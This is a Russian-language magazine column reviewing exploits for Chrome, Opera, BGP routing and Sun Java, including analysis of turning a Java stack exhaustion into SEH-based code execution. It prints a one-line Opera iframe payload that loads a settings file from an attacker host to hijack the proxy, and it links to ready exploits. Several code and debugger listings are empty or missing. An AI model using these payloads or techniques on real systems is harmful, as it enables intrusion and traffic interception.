Обзор эксплойтовКрис Касперски С началом осени хакеры вернулись из мест не столь отдаленных (морей, лесов, степей и прочее). А тут Google подогнала свежий браузер Chrome (перехаченный FireFox), рвущий IE, как Тузик грелку (по количеству обнаруженных дыр). В это же время Крис Вебер вместе с Крисом Касперски обнаружили и обосновали принципиально новый тип атак. Они продемонстрировали его на подопытной Sun Java, сорвав ей крышу необычным стековым переполнением. Google Chrome – множественные уязвимостиBriefПоздравляем! На рынке браузеров появился новый игрок — Google Chrome, созданный на базе движка изуродованного FireFox с упрощенным интерфейсом, ориентированным то ли на сексуальное меньшинство, то ли на интеллектуальное большинство. И, конечно же, самым главным козырем в продвижении на рынок стала безопасность. Цитирую официальное средство личной гигиены: «Google Chrome – это браузер, обеспечивающий более удобную, быструю и безопасную работу в интернете». Такое впечатление, что любой вновь созданный программный продукт автоматически объявляется более безопасным, даже если это сырая бета-версия, никем не протестированная. За первые недели эксплуатации браузера хакеры обнаружили в нем десятка два дыр, половина из которых критическая (допускает удаленный захват управления с выполнением произвольного shell-кода). Все exploit'ы выложены в открытый доступ, но Google по-прежнему продолжает утверждать, что их браузер – более безопасный и корректировать содержимое рекламной странички, по-видимому, не собирается. Ладно, это лирика. Перейдем к конкретным дырам. Функция «SaveAs» не проверяет длину тэга «Title», высаживаясь на классическое стековое переполнение с передачей управление на shell-код или просто с крахом браузера. Обработка IMG-тегов также не свободна от ошибок, и хотя пока неясно, каким образом можно захватить управление, вызывать отказ в обслуживании хакеры уже научились. И это еще ничего. Chrome наступил на те же грабли, что и древние версии IE, предоставив атакующему возможность загружать файлы на целевой компьютер без выдачи запроса на подтверждение (обычная практика — загрузка ярлыков на рабочий стол с одновременной заливкой зловредной программы, на которую, собственно говоря, и указывает ярлык). Рано или поздно по нему кто-нибудь да щелкнет, а если пользователь настолько продвинут, что тут же удалит левый ярлык, то хакер может использовать переполнение буфера в URL, HREF или одну из других дыр, полный список которых занимает добрый талмуд. Интересующихся техническими подробностями мы отправляем к следующим ссылкам: www.securityfocus.com/bid/31029, www.securityfocus.com/bid/30975, www.securityfocus.com/bid/31038. TargetsРазные дыры затрагивают разные версии браузера (появляются чуть ли не каждый божий день). Основной косяк уязвимостей сидит в Google Chrome 0.2.149 27. Более поздние версии менее уязвимы. ExploitsБоевой exploit, эксплуатирующий дыру в SaveAs, лежит на milw0rm.com/sploits/2008-chrome.tgz, а рядышком с ним — exploit для автоматической загрузки файлов на целевую машину: www.milw0rm.com/exploits/6355. SolutionНесмотря на то, что Google довольно оперативно затыкает дыры, выпуская новые версии, пользоваться ими категорически не рекомендуется. Ну разве что в ознакомительных целях на виртуальной машине, на которой нет ничего ценного, что было бы жалко потерять. Восставшие из мертвых — атаки на BGP протоколBriefМы уже рассказывали о том, как Дэн Каминский лихо «переоткрыл» три дыры десятилетней давности в DNS, приковав внимание прессы и производителей самих DNS. Пример оказался заразительным (действительно, зачем искать новые дыры, когда можно кричать о хорошо забытых старых?). На последнем DefCon'е Тони Капела (Tony Kapela, компания 5Nines Data) на пару с Алексом Пилосовым (Alex Pilosov, компания Pilosoft), шокировали общественность, продемонстрировав технику перехвата Internet-трафика путем атаки на BGP-протокол, незащищенность которого позволяет человеку, сидящем, скажем, в юрте на Чукотке, перехватывать трафик между Бостоном и Сан-Франциско (blog.wired.com/27bstroke6/files/edited-iphd-2.ppt). Реализация атаки тривиальна, а защититься от нее... ну, не то, чтобы совсем невозможно, но очень и очень сложно. Вектор направлен отнюдь не на конечных пользователей, а на крупных (и мелких) ISP, передающих трафик, среди которых есть и такие, что плюют на безопасность. Причем, плюют в планетарных масштабах. Яркий пример тому — нашумевший скандал с Пакистанским провайдером Pakistan Telecom, который под давлением правительства попытался запретить своим гражданам втыкать в YouTube и «слегка» захачил BGP-таблицы маршрутизации. В результате чего без YouTub'а остались миллионы пользователей, находящихся вне Пакистана. Все очень просто — захаченные таблицы маршрутизации сделали Pakistan Telecom самым привлекательным роутером для передачи трафика. И YouTube, и Pakistan Telecom превратились в черную дыру, стягивающую трафик со всего мира (news.bbc.co.uk/1/hi/technology/7262071.stm, www.ripe.net/news/study-youtube-hijacking.html). Действительно, тут есть от чего выпасть в осадок, сесть на измену и нереально испугаться. Но впервые об этой дыре открыто заговорили в далеком 1998 году (www.cs.columbia.edu/~smb/papers/acsac-ipext.pdf). С тех пор прошел добрый десяток лет и... ничего! Живем! «Изюминка» Тони и Алекса состояла в том, что они предложили не просто направлять трафик в устройство /dev/nul, как это делал Pakistan Telecom, а возвращать его (возможно, в слегка модифицированном виде) конечному пользователю, открывая огромные перспективы для шпионажа. Во всяком случае, на бумаге. А в реальной жизни? Начнем с того, что IP-протокол поддерживает маршрутизацию только в умах студентов первого курса. На самом деле, маршрутизацией (то есть, поиском оптимальной траектории пересылки пакетов между узлами и предотвращением закольцовывания) занимается толпа вспомогательных протоколов. Большинство из них работают ниже TCP/IP (и потому совершенно «прозрачны» и недоступны для атаки). Однако, протокол BGP (Border Gateway Protocol, «Протокол Граничного Шлюза») работает поверх IP (в частности, BGP over TCP использует порт 179), а потому доступен для атаки из любой точки Сети. Роутеры содержат таблицы маршрутизации, принимающие данные от других роутеров без всякой авторизации! Любой узел может объявить себя роутером, сообщающим всем остальным о себе и о тех узлах, которым он готов доставить трафик. Причем, если целевому узлу берутся доставить трафик более одного роутера, то выбирается роутер, обслуживающий более узкий диапазон адресов. Что очень хорошо для атакующих — представиться маленьким роутером проще, чем большим и могучим. Однако представиться роутером все равно не так просто! Придется либо регистрироваться в Internet Assigned Numbers Authority (IANA), либо заниматься подменой IP-адресов, либо искать роутеры, принимающие BGP-пакеты от кого угодно. А потому, осуществить такую атаку может только сравнительно крупный ISP (типа Pakistan Telecom), но никак не Вася Пупкин. TargetsWorld wide ExploitНе требуется, достаточно установить BSD (она поддерживает BGP) и настроить ее в режиме роутера. SolutionПровайдерам: установить фильтр BGP-пакетов и резать всех, кто не входит в заранее сформированный список доверенных узлов. Opera – множественные ошибкиBriefOpera по праву считается самым защищенным браузером, практически свободным от ошибок. Но отсутствие ошибок – вовсе не следствие качества кода, а, главным образом, недостаток внимания. Опера достаточно популярна в Европе, но практически неизвестна на Западе, а потому хакеры долгое время обходили ее стороной. Естественно, такой стихийный «мораторий» не мог продолжаться бесконечно, и новый релиз Oper'ы 9.52 исправляет сразу семь ошибок, среди которых есть и отказ в обслуживании, и фишинг, и кросс-скриптинг, и, в общем, много чего. Полный перечень ошибок содержится на официальном сайте (www.opera.com/docs/changelogs/windows/952), так что не будем повторяться. Наибольший интерес (и наивысшую опасность) представляет ошибка обработки протоколов, позволяющая вызывать Оперу, передав ей в командной строке любой файл – например, файл настроек самой Оперы, загружаемый с удаленного хакерского узла. Как нетрудно сообразить, в файле настроек прописано буквально все и вся. В частности, там можно найти адрес proxy-сервера. Хорошая идея — навязать жертве свой собственный Proxy, перехватывая трафик и модифицируя его по своему усмотрению (внедряя троянов в скачиваемые жертвой исполняемые файлы и т.д.). Технические подробности можно найти на блоге первооткрывателя, пожелавшего остаться неизвестным и скрывающегося за псевдонимом Billy (BK) Rios — xs-sniper.com/blog/2008/08/22/opera-stuff-followup. TargetsOpera 9.51 и более младшие версии. ExploitИсходный текст exploit'а состоит из одной строки, приведенной ниже. Атакующему достаточно всего лишь внедрить ее в HTML-страничку и заманить туда доверчивого пользователя. <iframe src = 'opera.protocol:www.test.com" /settings "//attacker-ip/ini-file.ini '> SolutionОбновиться до версии 9.52 – http://www.opera.com/products/desktop. Старые атаки на новый ладBrief17 августа 2008 года, в 7 часов 16 минут по Стандартному Тихоокеанскому Времени я получил от Криса Вебера (Chris Weber, Casaba Security) письмо, в котором тот сообщил о найденной дыре в Sun Java 14.3 for Windows. Обнаружена она была в ходе фуззинга Джавы, завершившегося переполнением стека с отказом в обслуживании. Конечно, это очень интересно, но передача управления на shell-код намного круче! Вот только как ее осуществить? С позиции классической теории переполнения буферов — никак! Короче, совместными усилиями мы быстро нашли ответ, попутно усовершенствовав технику атаки под кодовым называнием «stack crossover» и обнаружив в ядре Windows кучу сюрпризов, о которых я до этого даже и не подозревал. В момент, когда пишутся эти строки, с дыры еще не снят гриф секретности. Alice Chang из Endeavor Security разрабатывает сигнатуры для распознавания и блокировки атак, а сам я работаю над докладом для конференции Microsoft BlueHat Security Briefings: Fall 2008 (technet.microsoft.com/en-us/security/cc748656.aspx), объясняя Империи Зла на сколько она не права. Тем временем Sun еще пребывает в неведении относительно небезопасности своей виртуальной машины, так что читатели «][акера» получают в свои лапы вполне эксклюзивный материал, правда, к моменту выхода журнала из печати, это будет уже не новость. TargetОгромное количество приложений! Sun Java 14.3 – лишь одно из многих. ExploitИсходный текст exploit'а, разработанного Крисом Вебером, приведен ниже: Exploit, вызывающий переполнение стека в Sun Java 14.3, разработанный Крисом Вебером <?xml version="1.0" encoding="utf-8"?> <resources> </jnlp> SolutionНеобходим тщательный аудит и существенный редизайн всех существующих приложений. Даже тех, которые не обращаются в Сеть, поскольку атаки этого типа способны воздействовать на соседние (уязвимые) приложения через неуязвимые, имеющие доступ к Сети. Короче говоря, все мы сидим на пороховой бочке. Full discloseБерем Жабу (фу-ты, какая гадость!). Аккуратно так, значит, мы ее берем и передаем ей вышеуказанный exploit в качестве аргумента командной строки. Жаба тут же с грохотом рушится. С грохотом — потому что у меня на критические ошибки повешен звук разбивающегося стекла. В другом случае грохота может и не быть. Суть в том, что exploit рвет Жабу, как мыльный пузырь. Что не покажется удивительным, если заглянуть в машинный код. Ты увидишь, что Жаба в попытке разрешения символа «&» вызывает парсер в рекурсивном порядке. А поскольку символов «&» в коде exploit'а, как детей у матери-героини (и даже больше), – стековая память заканчивается прежде, чем Жабе удается распарсить строку href до конца. Уж сколько раз твердили миру, что рекурсия — большое зло и без особой нужды ей лучше не злоупотреблять. Рекурсия без контроля глубины вложения и обработки исключений — тройное зло, приводящее к отказу в обслуживании, сопровождающемуся сбросом дампа памяти (если, конечно, Доктор Ватсон настроен должным образом – конфигурация по умолчанию нас вполне устроит, так что будем «плясать» от нее). Полученный дамп следует загрузить в Microsoft Debugger, входящий в состав NTDDK и MS Debugging Tools (последний занимает порядка десяти метров и распространяется бесплатно). Утилита cdb.exe представляет собой консольную репрезентацию отладчика. Ключ -z указывает, что следующий за нам файл является дампом памяти: Первичный анализ дампа памяти, сброшенного Жабой сразу же после смерти $cdb.exe -z javaws.dmp Microsoft (R) Windows Debugger Version 6.3.0011.2 Loading Dump File [L:\javaws.dmp] Windows XP Version 2600 (Service Pack 3) MP (2 procs) Free x86 compatible Как мы видим, это действительно переполнение стека (в смысле, исчерпание стековой памяти), на что указывает код исключения C00000FDh. А что означают слова «!!! second chance !!!»? Как мы уже писали в 14-м выпуске exploit overview, исключение C00000FDh генерируется системой задолго до исчерпания стековой памяти, когда остается еще целых три страницы. Две из которых выделяются под нужды обработчика исключения, а последняя (с атрибутами PAGE_NOACCESS) используется в качестве защитного барьера, чтобы остановить рост стека и предотвратить вторжение в стековое пространство постороннего потока или кучу. В общем, в область памяти, находящуюся за границами стека. Команда «k» предписывает отладчику отобразить состояние стека на момент выброса исключения. Посмотрим, что у нас там. Состояние стека на момент выброса исключения 0:014> k Ага, адрес возврата всюду (за исключением самой верхней строки) указывает на одну и ту же функцию, вызываемую рекурсивно. Собственно говоря, это нам и требовалось доказать. Дело за малым — разобраться, каким образом мы можем передать управление на shell-код. В обычных условиях такое действительно невозможно: стековое исключение генерируется, когда у системы в запасе имеется целых три страницы, а каждая страница — это целых 4 Кб. Даже если за концом стека потока А находится стек потока Б (как чаще всего и бывает) и на дне стека потока Б лежит указатель на SEH-обработчик (а он там лежит), – в нормальных программах до него никакой рекурсивной функции не дотянуться! Но нам везет. И не просто везет, а фантастически! Согласно показаниям отладчика, исключение вызывается машинной инструкций mov [esp-0x3000], eax, записывающей содержимое EAX по смещению 0x3000 выше текущей позиции указателя вершины стека. Что в точности равно трем страницам. Конечно, трех страниц нам мало. Нам нужно три страницы и еще чуть-чуть, чтобы дотянуться до указателя на SEH. И это можно обеспечить! Достаточно подобрать длину «&&&» с последующими за ними символами «AAA» так, чтобы стековый кадр открывался по заданному смещению относительно нижней сторожевой страницы. Как именно это сделать уже описывалось в прошлой статье. Остается выяснить, что именно туда записывается. Как нетрудно увидеть, старший байт регистра EAX равен 'A' (символу, содержащемуся в строке, вызывающей переполнение). Младшие байты смотрят в стек, вершина которого расположена где-то в районе 03xxxxxxh. То есть для достижения задуманного, необходимо заменить 'A' на символ с кодом 03h – и тогда Жаба окажется под нашей властью. На этом можно было бы и закончить, если бы не одно «но». При попытке практической реализации готового exploit'а мы с Крисом Вебером обнаружили одну очень интересную деталь. Значение регистра ESP в момент краха (согласно показаниям отладчика) равно 03425FDCh, а размер стека по умолчанию составляет 1 Мб. Значит, у нас есть все основания ожидать, что вершина стека находится на уровне 03420000h, – очень далеко от наблюдаемых нами 03425FDCh. У нас в запасе имеется чертова уйма стековой памяти, а операционная система необъяснимым образом генерирует исключение, сигнализируя об исчерпании стека. Очень странно. Глюк? Или фича? Отказывается, все-таки фича, даже документированная. Разведка доложила — ситуация детально описана в MSDN на странице msdn.microsoft.com/en-us/library/cc267849.aspx, где развернуто объясняется, что данное исключение может генерироваться в трех ситуациях:
В принципе, все логично. Если приложение запрашивает еще одну страницу стековой памяти, а памяти (общесистемной, а не стековой) у нас нет, то исключение представляется вполне разумной реакцией оси. Проблема в том, что по умолчанию система создает файл подкачки не очень большого размера (чтобы не отъедать дисковое пространство без надобности). А когда общесистемная виртуальная память (в которую входит не только стек, но и куча) близится к исчерпанию, система приступает к увеличению файла подкачки. На это требуется время (особенно на сильно фрагментированных дисков), и если оставшийся резерв памяти будет исчерпан прежде, чем система покончит с файлом подкачки, все последующие запросы на выделение памяти будут отклонены. Функция VirtualAlloc в этом случае просто вернет ноль, сигнализируя об ошибке – но вот попытка выделения новых стековых страниц породит неожиданное исключение, которое практически никто из программистов не обрабатывает! Допустим, мы запускаем на целевом компьютере JavaScript, потребляющий огромное количество памяти. Тогда, если начальный размер файла подкачки меньше максимально допустимого (по умолчанию так оно и есть), один за другим начнут рушиться посторонние приложения, нуждающиеся в стеке, в том числе и системные! Хотя передать управление на shell-код таким способом невозможно, тотальный отказ в обслуживании вызывается без проблем! Резюмируя вышесказанное — дыру в Жабе можно эксплуатировать только на системах с достаточным количеством виртуальной памяти или с уже увеличенным файлом подкачки. В противном случае, дело ограничится простым крахом. |